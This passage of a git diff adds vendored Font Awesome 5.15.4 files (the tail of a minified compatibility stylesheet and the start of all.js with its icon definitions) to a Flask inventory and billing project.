Brands";font-weight:400}.fa.fa-linkedin:before{content:"\f0e1"}.fa.fa-rotate-left:before{content:"\f0e2"}.fa.fa-legal:before{content:"\f0e3"}.fa.fa-dashboard:before,.fa.fa-tachometer:before{content:"\f3fd"}.fa.fa-comment-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-comment-o:before{content:"\f075"}.fa.fa-comments-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-comments-o:before{content:"\f086"}.fa.fa-flash:before{content:"\f0e7"}.fa.fa-clipboard,.fa.fa-paste{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-paste:before{content:"\f328"}.fa.fa-lightbulb-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-lightbulb-o:before{content:"\f0eb"}.fa.fa-exchange:before{content:"\f362"}.fa.fa-cloud-download:before{content:"\f381"}.fa.fa-cloud-upload:before{content:"\f382"}.fa.fa-bell-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-bell-o:before{content:"\f0f3"}.fa.fa-cutlery:before{content:"\f2e7"}.fa.fa-file-text-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-text-o:before{content:"\f15c"}.fa.fa-building-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-building-o:before{content:"\f1ad"}.fa.fa-hospital-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hospital-o:before{content:"\f0f8"}.fa.fa-tablet:before{content:"\f3fa"}.fa.fa-mobile-phone:before,.fa.fa-mobile:before{content:"\f3cd"}.fa.fa-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-circle-o:before{content:"\f111"}.fa.fa-mail-reply:before{content:"\f3e5"}.fa.fa-github-alt{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-folder-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-folder-o:before{content:"\f07b"}.fa.fa-folder-open-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-folder-open-o:before{content:"\f07c"}.fa.fa-smile-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-smile-o:before{content:"\f118"}.fa.fa-frown-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-frown-o:before{content:"\f119"}.fa.fa-meh-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-meh-o:before{content:"\f11a"}.fa.fa-keyboard-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-keyboard-o:before{content:"\f11c"}.fa.fa-flag-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-flag-o:before{content:"\f024"}.fa.fa-mail-reply-all:before{content:"\f122"}.fa.fa-star-half-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-half-o:before{content:"\f089"}.fa.fa-star-half-empty{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-half-empty:before{content:"\f089"}.fa.fa-star-half-full{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-half-full:before{content:"\f089"}.fa.fa-code-fork:before{content:"\f126"}.fa.fa-chain-broken:before{content:"\f127"}.fa.fa-shield:before{content:"\f3ed"}.fa.fa-calendar-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-calendar-o:before{content:"\f133"}.fa.fa-css3,.fa.fa-html5,.fa.fa-maxcdn{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-ticket:before{content:"\f3ff"}.fa.fa-minus-square-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-minus-square-o:before{content:"\f146"}.fa.fa-level-up:before{content:"\f3bf"}.fa.fa-level-down:before{content:"\f3be"}.fa.fa-pencil-square:before{content:"\f14b"}.fa.fa-external-link-square:before{content:"\f360"}.fa.fa-compass{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-caret-square-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-caret-square-o-down:before{content:"\f150"}.fa.fa-toggle-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-toggle-down:before{content:"\f150"}.fa.fa-caret-square-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-caret-square-o-up:before{content:"\f151"}.fa.fa-toggle-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-toggle-up:before{content:"\f151"}.fa.fa-caret-square-o-right{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-caret-square-o-right:before{content:"\f152"}.fa.fa-toggle-right{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-toggle-right:before{content:"\f152"}.fa.fa-eur:before,.fa.fa-euro:before{content:"\f153"}.fa.fa-gbp:before{content:"\f154"}.fa.fa-dollar:before,.fa.fa-usd:before{content:"\f155"}.fa.fa-inr:before,.fa.fa-rupee:before{content:"\f156"}.fa.fa-cny:before,.fa.fa-jpy:before,.fa.fa-rmb:before,.fa.fa-yen:before{content:"\f157"}.fa.fa-rouble:before,.fa.fa-rub:before,.fa.fa-ruble:before{content:"\f158"}.fa.fa-krw:before,.fa.fa-won:before{content:"\f159"}.fa.fa-bitcoin,.fa.fa-btc{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-bitcoin:before{content:"\f15a"}.fa.fa-file-text:before{content:"\f15c"}.fa.fa-sort-alpha-asc:before{content:"\f15d"}.fa.fa-sort-alpha-desc:before{content:"\f881"}.fa.fa-sort-amount-asc:before{content:"\f160"}.fa.fa-sort-amount-desc:before{content:"\f884"}.fa.fa-sort-numeric-asc:before{content:"\f162"}.fa.fa-sort-numeric-desc:before{content:"\f886"}.fa.fa-xing,.fa.fa-xing-square,.fa.fa-youtube,.fa.fa-youtube-play,.fa.fa-youtube-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-youtube-play:before{content:"\f167"}.fa.fa-adn,.fa.fa-bitbucket,.fa.fa-bitbucket-square,.fa.fa-dropbox,.fa.fa-flickr,.fa.fa-instagram,.fa.fa-stack-overflow{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-bitbucket-square:before{content:"\f171"}.fa.fa-tumblr,.fa.fa-tumblr-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-long-arrow-down:before{content:"\f309"}.fa.fa-long-arrow-up:before{content:"\f30c"}.fa.fa-long-arrow-left:before{content:"\f30a"}.fa.fa-long-arrow-right:before{content:"\f30b"}.fa.fa-android,.fa.fa-apple,.fa.fa-dribbble,.fa.fa-foursquare,.fa.fa-gittip,.fa.fa-gratipay,.fa.fa-linux,.fa.fa-skype,.fa.fa-trello,.fa.fa-windows{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-gittip:before{content:"\f184"}.fa.fa-sun-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-sun-o:before{content:"\f185"}.fa.fa-moon-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-moon-o:before{content:"\f186"}.fa.fa-pagelines,.fa.fa-renren,.fa.fa-stack-exchange,.fa.fa-vk,.fa.fa-weibo{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-arrow-circle-o-right{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-right:before{content:"\f35a"}.fa.fa-arrow-circle-o-left{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-left:before{content:"\f359"}.fa.fa-caret-square-o-left{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-caret-square-o-left:before{content:"\f191"}.fa.fa-toggle-left{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-toggle-left:before{content:"\f191"}.fa.fa-dot-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-dot-circle-o:before{content:"\f192"}.fa.fa-vimeo-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-try:before,.fa.fa-turkish-lira:before{content:"\f195"}.fa.fa-plus-square-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-plus-square-o:before{content:"\f0fe"}.fa.fa-openid,.fa.fa-slack,.fa.fa-wordpress{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-bank:before,.fa.fa-institution:before{content:"\f19c"}.fa.fa-mortar-board:before{content:"\f19d"}.fa.fa-delicious,.fa.fa-digg,.fa.fa-drupal,.fa.fa-google,.fa.fa-joomla,.fa.fa-pied-piper-alt,.fa.fa-pied-piper-pp,.fa.fa-reddit,.fa.fa-reddit-square,.fa.fa-stumbleupon,.fa.fa-stumbleupon-circle,.fa.fa-yahoo{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-spoon:before{content:"\f2e5"}.fa.fa-behance,.fa.fa-behance-square,.fa.fa-steam,.fa.fa-steam-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-automobile:before{content:"\f1b9"}.fa.fa-envelope-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-envelope-o:before{content:"\f0e0"}.fa.fa-deviantart,.fa.fa-soundcloud,.fa.fa-spotify{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-file-pdf-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-pdf-o:before{content:"\f1c1"}.fa.fa-file-word-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-word-o:before{content:"\f1c2"}.fa.fa-file-excel-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-excel-o:before{content:"\f1c3"}.fa.fa-file-powerpoint-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-powerpoint-o:before{content:"\f1c4"}.fa.fa-file-image-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-image-o:before{content:"\f1c5"}.fa.fa-file-photo-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-photo-o:before{content:"\f1c5"}.fa.fa-file-picture-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-picture-o:before{content:"\f1c5"}.fa.fa-file-archive-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-archive-o:before{content:"\f1c6"}.fa.fa-file-zip-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-zip-o:before{content:"\f1c6"}.fa.fa-file-audio-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-audio-o:before{content:"\f1c7"}.fa.fa-file-sound-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-sound-o:before{content:"\f1c7"}.fa.fa-file-video-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-video-o:before{content:"\f1c8"}.fa.fa-file-movie-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-movie-o:before{content:"\f1c8"}.fa.fa-file-code-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-code-o:before{content:"\f1c9"}.fa.fa-codepen,.fa.fa-jsfiddle,.fa.fa-vine{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-life-bouy,.fa.fa-life-ring{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-life-bouy:before{content:"\f1cd"}.fa.fa-life-buoy{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-life-buoy:before{content:"\f1cd"}.fa.fa-life-saver{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-life-saver:before{content:"\f1cd"}.fa.fa-support{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-support:before{content:"\f1cd"}.fa.fa-circle-o-notch:before{content:"\f1ce"}.fa.fa-ra,.fa.fa-rebel{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-ra:before{content:"\f1d0"}.fa.fa-resistance{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-resistance:before{content:"\f1d0"}.fa.fa-empire,.fa.fa-ge{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-ge:before{content:"\f1d1"}.fa.fa-git,.fa.fa-git-square,.fa.fa-hacker-news,.fa.fa-y-combinator-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-y-combinator-square:before{content:"\f1d4"}.fa.fa-yc-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-yc-square:before{content:"\f1d4"}.fa.fa-qq,.fa.fa-tencent-weibo,.fa.fa-wechat,.fa.fa-weixin{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-wechat:before{content:"\f1d7"}.fa.fa-send:before{content:"\f1d8"}.fa.fa-paper-plane-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-paper-plane-o:before{content:"\f1d8"}.fa.fa-send-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-send-o:before{content:"\f1d8"}.fa.fa-circle-thin{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-circle-thin:before{content:"\f111"}.fa.fa-header:before{content:"\f1dc"}.fa.fa-sliders:before{content:"\f1de"}.fa.fa-futbol-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-futbol-o:before{content:"\f1e3"}.fa.fa-soccer-ball-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-soccer-ball-o:before{content:"\f1e3"}.fa.fa-slideshare,.fa.fa-twitch,.fa.fa-yelp{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-newspaper-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-newspaper-o:before{content:"\f1ea"}.fa.fa-cc-amex,.fa.fa-cc-discover,.fa.fa-cc-mastercard,.fa.fa-cc-paypal,.fa.fa-cc-stripe,.fa.fa-cc-visa,.fa.fa-google-wallet,.fa.fa-paypal{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-bell-slash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-bell-slash-o:before{content:"\f1f6"}.fa.fa-trash:before{content:"\f2ed"}.fa.fa-copyright{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-eyedropper:before{content:"\f1fb"}.fa.fa-area-chart:before{content:"\f1fe"}.fa.fa-pie-chart:before{content:"\f200"}.fa.fa-line-chart:before{content:"\f201"}.fa.fa-angellist,.fa.fa-ioxhost,.fa.fa-lastfm,.fa.fa-lastfm-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-cc{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-cc:before{content:"\f20a"}.fa.fa-ils:before,.fa.fa-shekel:before,.fa.fa-sheqel:before{content:"\f20b"}.fa.fa-meanpath{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-meanpath:before{content:"\f2b4"}.fa.fa-buysellads,.fa.fa-connectdevelop,.fa.fa-dashcube,.fa.fa-forumbee,.fa.fa-leanpub,.fa.fa-sellsy,.fa.fa-shirtsinbulk,.fa.fa-simplybuilt,.fa.fa-skyatlas{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-diamond{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-diamond:before{content:"\f3a5"}.fa.fa-intersex:before{content:"\f224"}.fa.fa-facebook-official{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-facebook-official:before{content:"\f09a"}.fa.fa-pinterest-p,.fa.fa-whatsapp{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-hotel:before{content:"\f236"}.fa.fa-medium,.fa.fa-viacoin,.fa.fa-y-combinator,.fa.fa-yc{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-yc:before{content:"\f23b"}.fa.fa-expeditedssl,.fa.fa-opencart,.fa.fa-optin-monster{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-battery-4:before,.fa.fa-battery:before{content:"\f240"}.fa.fa-battery-3:before{content:"\f241"}.fa.fa-battery-2:before{content:"\f242"}.fa.fa-battery-1:before{content:"\f243"}.fa.fa-battery-0:before{content:"\f244"}.fa.fa-object-group,.fa.fa-object-ungroup,.fa.fa-sticky-note-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-sticky-note-o:before{content:"\f249"}.fa.fa-cc-diners-club,.fa.fa-cc-jcb{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-clone,.fa.fa-hourglass-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hourglass-o:before{content:"\f254"}.fa.fa-hourglass-1:before{content:"\f251"}.fa.fa-hourglass-2:before{content:"\f252"}.fa.fa-hourglass-3:before{content:"\f253"}.fa.fa-hand-rock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-rock-o:before{content:"\f255"}.fa.fa-hand-grab-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-grab-o:before{content:"\f255"}.fa.fa-hand-paper-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-paper-o:before{content:"\f256"}.fa.fa-hand-stop-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-stop-o:before{content:"\f256"}.fa.fa-hand-scissors-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-scissors-o:before{content:"\f257"}.fa.fa-hand-lizard-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-lizard-o:before{content:"\f258"}.fa.fa-hand-spock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-spock-o:before{content:"\f259"}.fa.fa-hand-pointer-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-pointer-o:before{content:"\f25a"}.fa.fa-hand-peace-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-hand-peace-o:before{content:"\f25b"}.fa.fa-registered{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-chrome,.fa.fa-creative-commons,.fa.fa-firefox,.fa.fa-get-pocket,.fa.fa-gg,.fa.fa-gg-circle,.fa.fa-internet-explorer,.fa.fa-odnoklassniki,.fa.fa-odnoklassniki-square,.fa.fa-opera,.fa.fa-safari,.fa.fa-tripadvisor,.fa.fa-wikipedia-w{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-television:before{content:"\f26c"}.fa.fa-500px,.fa.fa-amazon,.fa.fa-contao{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-calendar-plus-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-calendar-plus-o:before{content:"\f271"}.fa.fa-calendar-minus-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-calendar-minus-o:before{content:"\f272"}.fa.fa-calendar-times-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-calendar-times-o:before{content:"\f273"}.fa.fa-calendar-check-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-calendar-check-o:before{content:"\f274"}.fa.fa-map-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-map-o:before{content:"\f279"}.fa.fa-commenting:before{content:"\f4ad"}.fa.fa-commenting-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-commenting-o:before{content:"\f4ad"}.fa.fa-houzz,.fa.fa-vimeo{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-vimeo:before{content:"\f27d"}.fa.fa-black-tie,.fa.fa-edge,.fa.fa-fonticons,.fa.fa-reddit-alien{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-credit-card-alt:before{content:"\f09d"}.fa.fa-codiepie,.fa.fa-fort-awesome,.fa.fa-mixcloud,.fa.fa-modx,.fa.fa-product-hunt,.fa.fa-scribd,.fa.fa-usb{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-pause-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-pause-circle-o:before{content:"\f28b"}.fa.fa-stop-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-stop-circle-o:before{content:"\f28d"}.fa.fa-bluetooth,.fa.fa-bluetooth-b,.fa.fa-envira,.fa.fa-gitlab,.fa.fa-wheelchair-alt,.fa.fa-wpbeginner,.fa.fa-wpforms{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-wheelchair-alt:before{content:"\f368"}.fa.fa-question-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-question-circle-o:before{content:"\f059"}.fa.fa-volume-control-phone:before{content:"\f2a0"}.fa.fa-asl-interpreting:before{content:"\f2a3"}.fa.fa-deafness:before,.fa.fa-hard-of-hearing:before{content:"\f2a4"}.fa.fa-glide,.fa.fa-glide-g{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-signing:before{content:"\f2a7"}.fa.fa-first-order,.fa.fa-google-plus-official,.fa.fa-pied-piper,.fa.fa-snapchat,.fa.fa-snapchat-ghost,.fa.fa-snapchat-square,.fa.fa-themeisle,.fa.fa-viadeo,.fa.fa-viadeo-square,.fa.fa-yoast{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-google-plus-official:before{content:"\f2b3"}.fa.fa-google-plus-circle{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-google-plus-circle:before{content:"\f2b3"}.fa.fa-fa,.fa.fa-font-awesome{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-fa:before{content:"\f2b4"}.fa.fa-handshake-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-handshake-o:before{content:"\f2b5"}.fa.fa-envelope-open-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-envelope-open-o:before{content:"\f2b6"}.fa.fa-linode{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-address-book-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-address-book-o:before{content:"\f2b9"}.fa.fa-vcard:before{content:"\f2bb"}.fa.fa-address-card-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-address-card-o:before{content:"\f2bb"}.fa.fa-vcard-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-vcard-o:before{content:"\f2bb"}.fa.fa-user-circle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-user-circle-o:before{content:"\f2bd"}.fa.fa-user-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-user-o:before{content:"\f007"}.fa.fa-id-badge{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-drivers-license:before{content:"\f2c2"}.fa.fa-id-card-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-id-card-o:before{content:"\f2c2"}.fa.fa-drivers-license-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-drivers-license-o:before{content:"\f2c2"}.fa.fa-free-code-camp,.fa.fa-quora,.fa.fa-telegram{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-thermometer-4:before,.fa.fa-thermometer:before{content:"\f2c7"}.fa.fa-thermometer-3:before{content:"\f2c8"}.fa.fa-thermometer-2:before{content:"\f2c9"}.fa.fa-thermometer-1:before{content:"\f2ca"}.fa.fa-thermometer-0:before{content:"\f2cb"}.fa.fa-bathtub:before,.fa.fa-s15:before{content:"\f2cd"}.fa.fa-window-maximize,.fa.fa-window-restore{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-times-rectangle:before{content:"\f410"}.fa.fa-window-close-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-window-close-o:before{content:"\f410"}.fa.fa-times-rectangle-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-times-rectangle-o:before{content:"\f410"}.fa.fa-bandcamp,.fa.fa-eercast,.fa.fa-etsy,.fa.fa-grav,.fa.fa-imdb,.fa.fa-ravelry{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-eercast:before{content:"\f2da"}.fa.fa-snowflake-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-snowflake-o:before{content:"\f2dc"}.fa.fa-superpowers,.fa.fa-wpexplorer{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-cab:before{content:"\f1ba"} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/all.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/all.js new file mode 100644 index 00000000..2faf070c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/all.js @@ -0,0 +1,4466 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +(function () { + 'use strict'; + + var _WINDOW = {}; + var _DOCUMENT = {}; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var PRODUCTION = function () { + try { + return undefined === 'production'; + } catch (e) { + return false; + } + }(); + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + function defineIcons(prefix, icons) { + var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + var _params$skipHooks = params.skipHooks, + skipHooks = _params$skipHooks === void 0 ? false : _params$skipHooks; + var normalized = Object.keys(icons).reduce(function (acc, iconName) { + var icon = icons[iconName]; + var expanded = !!icon.icon; + + if (expanded) { + acc[icon.iconName] = icon.icon; + } else { + acc[iconName] = icon; + } + + return acc; + }, {}); + + if (typeof namespace.hooks.addPack === 'function' && !skipHooks) { + namespace.hooks.addPack(prefix, normalized); + } else { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, normalized); + } + /** + * Font Awesome 4 used the prefix of `fa` for all icons. With the introduction + * of new styles we needed to differentiate between them. Prefix `fa` is now an alias + * for `fas` so we'll easy the upgrade process for our users by automatically defining + * this as well. + */ + + + if (prefix === 'fas') { + defineIcons('fa', icons); + } + } + + var icons = { + "500px": [448, 512, [], "f26e", "M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z"], + "accessible-icon": [448, 512, [], "f368", "M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 